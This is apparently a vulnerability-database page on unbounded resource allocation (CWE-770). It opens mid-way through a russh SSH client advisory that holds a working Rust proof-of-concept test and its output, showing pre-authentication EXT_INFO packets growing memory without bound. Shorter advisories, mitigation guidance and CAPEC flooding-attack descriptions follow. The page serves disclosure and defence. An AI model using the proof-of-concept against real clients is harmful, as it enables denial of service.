remote_to_local: Box::new(cipher::clear::Key),\n encrypted: Some(Encrypted {\n state: EncryptedState::WaitingAuthRequest(auth_request),\n exchange: Some(Exchange::default()),\n kex: KEXES.get(\u0026NONE).unwrap().make(),\n key: 0,\n client_mac: mac::NONE,\n server_mac: mac::NONE,\n session_id: CryptoVec::new(),\n channels: HashMap::new(),\n last_channel_id: Wrapping(0),\n write: Vec::new(),\n write_cursor: 0,\n last_rekey: russh_util::time::Instant::now(),\n server_compression: Compression::None,\n client_compression: Compression::None,\n decompress: Decompress::None,\n rekey_wanted: false,\n received_extensions: Vec::new(),\n extension_info_awaiters: HashMap::new(),\n }),\n config,\n wants_reply: false,\n disconnected: false,\n buffer: Vec::new(),\n strict_kex: false,\n alive_timeouts: 0,\n received_data: false,\n remote_sshid: b\"SSH-2.0-auditpeer\".to_vec(),\n packet_writer: PacketWriter::clear(),\n },\n receiver,\n reply_sender,\n )\n}\n\n/// EXT_INFO packet body (russh msg number 7): u32 count, then per extension\n/// a name string plus a data blob. Minimal entry = name \"x\" (5 B) + data\n/// empty (4 B) = 9 wire bytes.\nfn ext_info_body(entries: usize) -\u003e Vec\u003cu8\u003e {\n let mut b = vec![msg::EXT_INFO];\n b.extend_from_slice(\u0026(entries as u32).to_be_bytes());\n for _ in 0..entries {\n b.extend_from_slice(\u00261u32.to_be_bytes());\n b.push(b\u0027x\u0027);\n b.extend_from_slice(\u00260u32.to_be_bytes());\n }\n b\n}\n\n#[tokio::test]\nasync fn ext_info_reception_grows_memory_without_bound() {\n let mut handler = PocHandler;\n\n // ---- control leg: equal packet volume of USERAUTH_BANNER ----\n // (IGNORE is a hard disconnect in this state; banners parse and are\n // forwarded to the handler without retention)\n let mut session = poc_session();\n let banner_body = {\n let data_len = 26990usize; // total ~27 KB, matching the EXT_INFO packet size\n let mut b = vec![msg::USERAUTH_BANNER];\n b.extend_from_slice(\u0026(data_len as u32).to_be_bytes());\n b.resize(1 + 4 + data_len, b\u0027b\u0027);\n b.extend_from_slice(\u00260u32.to_be_bytes()); // empty language tag\n b\n };\n let c0 = live_mb();\n for _ in 0..400 {\n session\n .process_packet(\u0026mut handler, \u0026banner_body)\n .await\n .expect(\"control packet\");\n }\n let control_delta = live_mb() - c0;\n\n // ---- attack leg: 400 EXT_INFO packets, 3000 entries each ----\n let mut session = poc_session();\n let body = ext_info_body(3000); // ~27 KB per packet\n let a0 = live_mb();\n for i in 0..400 {\n session\n .process_packet(\u0026mut handler, \u0026body)\n .await\n .expect(\"ext_info packet\");\n if i == 0 || i == 99 || i == 199 || i == 299 || i == 399 {\n let n = session\n .common\n .encrypted\n .as_ref()\n .map(|e| e.received_extensions.len())\n .unwrap_or(0);\n println!(\n \"EXT_INFO packets processed: {}, received_extensions.len() = {}, live = {:.2} MiB\",\n i + 1,\n n,\n live_mb() - a0 + c0 // keep numbers comparable per-process\n );\n }\n }\n let attack_delta = live_mb() - a0;\n let n = session\n .common\n .encrypted\n .as_ref()\n .map(|e| e.received_extensions.len())\n .unwrap_or(0);\n\n println!(\n \"CONTROL leg: 400 USERAUTH_BANNER packets (~{} KB each, same packet volume), retained {:+.2} MiB\",\n banner_body.len() / 1024,\n control_delta\n );\n println!(\n \"ATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = {}, retained {:+.2} MiB\",\n n, attack_delta\n );\n println!(\n \"amplification: ~{:.1}x retained per wire byte (input ~{} KB/packet, no cap, no dedup, pre-auth)\",\n attack_delta * 1024.0 * 1024.0 / (400.0 * body.len() as f64),\n body.len() / 1024\n );\n assert_eq!(\n n, 1_200_000,\n \"every parsed extension name was retained, none were dropped\"\n );\n if attack_delta \u003e 10.0 {\n println!(\n \"VERDICT: VULNERABLE - {:+.1} MiB retained across packets vs control {:+.2} MiB; growth is unbounded and attacker-renewable pre-auth\",\n attack_delta, control_delta\n );\n } else {\n println!(\n \"VERDICT: NOT REPRODUCED - attack delta {:+.2} MiB not above threshold\",\n attack_delta\n );\n }\n}\nEOF\ncargo test -p russh --lib extinfo_poc --release -- --nocapture\n```\n\nCaptured output from executing the v0.64.1 client parser (verbatim from the retained run log, run inside the russh crate checkout; non-evidence compiler warning lines omitted):\n\n```\n$ cd work \u0026\u0026 cargo +stable-x86_64-pc-windows-gnu test -p russh --lib extinfo_poc --release -- --nocapture\n Compiling russh v0.64.1\n Finished `release` profile [optimized] target(s) in 1m 26s\n Running unittests src\\lib.rs (target\\release\\deps\\russh-9b39fa40a3078d82.exe)\nrunning 1 test\nEXT_INFO packets processed: 1, received_extensions.len() = 3000, live = 0.28 MiB\nEXT_INFO packets processed: 100, received_extensions.len() = 300000, live = 12.47 MiB\nEXT_INFO packets processed: 200, received_extensions.len() = 600000, live = 24.75 MiB\nEXT_INFO packets processed: 300, received_extensions.len() = 900000, live = 25.04 MiB\nEXT_INFO packets processed: 400, received_extensions.len() = 1200000, live = 49.32 MiB\nCONTROL leg: 400 USERAUTH_BANNER packets (~26 KB each, same packet volume), retained +0.00 MiB\nATTACK leg: 400 EXT_INFO packets x 3000 entries, received_extensions.len() = 1200000, retained +49.14 MiB\namplification: ~4.8x retained per wire byte (input ~26 KB/packet, no cap, no dedup, pre-auth)\nVERDICT: VULNERABLE - +49.1 MiB retained across packets vs control +0.00 MiB; growth is unbounded and attacker-renewable pre-auth\ntest client::extinfo_poc::ext_info_reception_grows_memory_without_bound ... ok\ntest result: ok. 1 passed; 0 failed; 0 ignored; 0 measured; 193 filtered out; finished in 0.24s\n```\n\nOutput interpretation: every one of the 1.2 million extension names the server sent was parsed and retained for the life of the session, about 4.8 times the wire bytes, while the same volume of banner traffic retained nothing - the accumulation is specific to the extension handler, not a property of packet volume. The vector is only read, never cleared, so the growth persists across the whole session and renews with every packet. Live-memory readings, timings, and the build hash are instance-specific; the mechanism, uncapped cross-packet accumulation in a pre-auth handler, is the stable verdict.\n\n### Impact\n\nUnrestricted resource allocation (CWE-770): any server a russh-based client connects to can grow the client process\u0027s memory without bound before the user has authenticated, by sending a stream of ordinary-sized packets, and the memory is never reclaimed for the life of the session; embedding applications that connect to untrusted or compromised servers are drained the same way. A fix is to cap the length of `received_extensions` (or store it as a bounded set with deduplication), bound the number of EXT_INFO packets accepted before authentication, and align the `EXT_INFO` message number with RFC 8308 (82) so the handler is unreachable by accident.",
"id": "GHSA-4p9f-7p9m-5vfg",
"modified": "2026-10-30T22:58:39Z",
"published": "2026-10-30T22:58:39Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/security/advisories/GHSA-4p9f-7p9m-5vfg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-116773"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/commit/b33e93beec393e6d29eee69c1b8831736724ee75"
},
{
"type": "PACKAGE",
"url": "https://github.com/Eugeny/russh"
},
{
"type": "WEB",
"url": "https://github.com/Eugeny/russh/releases/tag/v0.65.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "russh\u0027s SSH client is susceptible to unbounded allocations via EXT_INFO packets"
}
GHSA-4PMH-H6PJ-3WH3
Vulnerability from github – Published: 2026-08-18 15:31 – Updated: 2026-08-18 15:31Unauthenticated Denial of Service Attack in Starter Templates by Kadence WP <= 2.3.3 versions.
{
"affected": [],
"aliases": [
"CVE-2026-73997"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-08-18T15:17:08Z",
"severity": "HIGH"
},
"details": "Unauthenticated Denial of Service Attack in Starter Templates by Kadence WP \u003c= 2.3.3 versions.",
"id": "GHSA-4pmh-h6pj-3wh3",
"modified": "2026-08-18T15:31:49Z",
"published": "2026-08-18T15:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73997"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/kadence-starter-templates/vulnerability/wordpress-starter-templates-by-kadence-wp-plugin-2-3-3-denial-of-service-attack-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4PPQ-6VHC-4Q97
Vulnerability from github – Published: 2026-11-04 12:31 – Updated: 2026-11-04 15:32Uncontrolled recursion in Apache ZooKeeper. The server serializes its data tree to a snapshot by recursing one stack frame per znode level, with no depth bound. A client permitted to create znodes (the default root ACL is open) can build a chain of nested znodes deep enough that taking a snapshot exhausts the JVM stack and kills the snapshot thread; sizes stay within jute.maxbuffer, so existing limits do not prevent it. This is a denial of service that becomes persistent: on restart the server rebuilds the deep tree from its transaction log and fails again while taking the startup snapshot, so it does not return to service, and recovery can entail data loss. The same log affects a leader and its followers, so it can spread across an ensemble.
This issue affects Apache ZooKeeper 3.8.0 through 3.8.7 and 3.9.0 through 3.9.6. Users are recommended to upgrade to 3.8.8 or 3.9.7, which fix the issue. As a workaround, use ACLs and authentication to restrict znode creation rather than relying on the default open root ACL.
{
"affected": [],
"aliases": [
"CVE-2026-115448"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-04T11:17:14Z",
"severity": "HIGH"
},
"details": "Uncontrolled recursion in Apache ZooKeeper. The server serializes its data tree to a snapshot by recursing one stack frame per znode level, with no depth bound. A client permitted to create znodes (the default root ACL is open) can build a chain of nested znodes deep enough that taking a snapshot exhausts the JVM stack and kills the snapshot thread; sizes stay within jute.maxbuffer, so existing limits do not prevent it. This is a denial of service that becomes persistent: on restart the server rebuilds the deep tree from its transaction log and fails again while taking the startup snapshot, so it does not return to service, and recovery can entail data loss. The same log affects a leader and its followers, so it can spread across an ensemble.\n\nThis issue affects Apache ZooKeeper 3.8.0 through 3.8.7 and 3.9.0 through 3.9.6. Users are recommended to upgrade to 3.8.8 or 3.9.7, which fix the issue. As a workaround, use ACLs and authentication to restrict znode creation rather than relying on the default open root ACL.",
"id": "GHSA-4ppq-6vhc-4q97",
"modified": "2026-11-04T15:32:29Z",
"published": "2026-11-04T12:31:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115448"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/p892jm8qw0zqv8z152lpokyt7mp6gc41"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/11/03/13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4PWC-87FV-Q86Q
Vulnerability from github – Published: 2023-07-06 19:24 – Updated: 2023-07-06 19:24A remote, unauthenticated attacker could cause a denial-of-service of PHOENIX CONTACT FL MGUARD and TC MGUARD devices below version 8.9.0 by sending a larger number of unauthenticated HTTPS connections originating from different source IP’s. Configuring firewall limits for incoming connections cannot prevent the issue.
{
"affected": [],
"aliases": [
"CVE-2022-3480"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-11-15T11:15:00Z",
"severity": "HIGH"
},
"details": "A remote, unauthenticated attacker could cause a denial-of-service of PHOENIX CONTACT FL MGUARD and TC MGUARD devices below version 8.9.0 by sending a larger number of unauthenticated HTTPS connections originating from different source IP\u2019s. Configuring firewall limits for incoming connections cannot prevent the issue.",
"id": "GHSA-4pwc-87fv-q86q",
"modified": "2023-07-06T19:24:04Z",
"published": "2023-07-06T19:24:04Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3480"
},
{
"type": "WEB",
"url": "https://cert.vde.com/en/advisories/VDE-2022-051"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4Q2P-HWMR-QCXC
Vulnerability from github – Published: 2024-07-06 00:31 – Updated: 2024-07-08 14:21A buffer-management vulnerability in OPC Foundation OPCFoundation.NetStandard.Opc.Ua.Core before 1.5.374.54 could allow remote attackers to exhaust memory resources. It is triggered when the system receives an excessive number of messages from a remote source. This could potentially lead to a denial of service (DoS) condition, disrupting the normal operation of the system.
{
"affected": [
{
"package": {
"ecosystem": "NuGet",
"name": "OPCFoundation.NetStandard.Opc.Ua.Core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.5.374.54"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-33862"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-07-08T14:21:37Z",
"nvd_published_at": "2024-07-05T23:15:10Z",
"severity": "HIGH"
},
"details": "A buffer-management vulnerability in OPC Foundation OPCFoundation.NetStandard.Opc.Ua.Core before 1.5.374.54 could allow remote attackers to exhaust memory resources. It is triggered when the system receives an excessive number of messages from a remote source. This could potentially lead to a denial of service (DoS) condition, disrupting the normal operation of the system.",
"id": "GHSA-4q2p-hwmr-qcxc",
"modified": "2024-07-08T14:21:37Z",
"published": "2024-07-06T00:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-33862"
},
{
"type": "WEB",
"url": "https://github.com/OPCFoundation/UA-.NETStandard/commit/52d4492ccc928f128e7a38857fdf58d94e1e652b"
},
{
"type": "WEB",
"url": "https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2024-33862.pdf"
},
{
"type": "PACKAGE",
"url": "https://github.com/OPCFoundation/UA-.NETStandard"
},
{
"type": "WEB",
"url": "https://github.com/OPCFoundation/UA-.NETStandard/releases/tag/1.5.374.54"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OPCFoundation.NetStandard.Opc.Ua.Core buffer-management vulnerability"
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.
CAPEC-493: SOAP Array Blowup
An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.
CAPEC-494: TCP Fragmentation
An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.
CAPEC-495: UDP Fragmentation
An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.
CAPEC-496: ICMP Fragmentation
An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.
CAPEC-528: XML Flood
An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.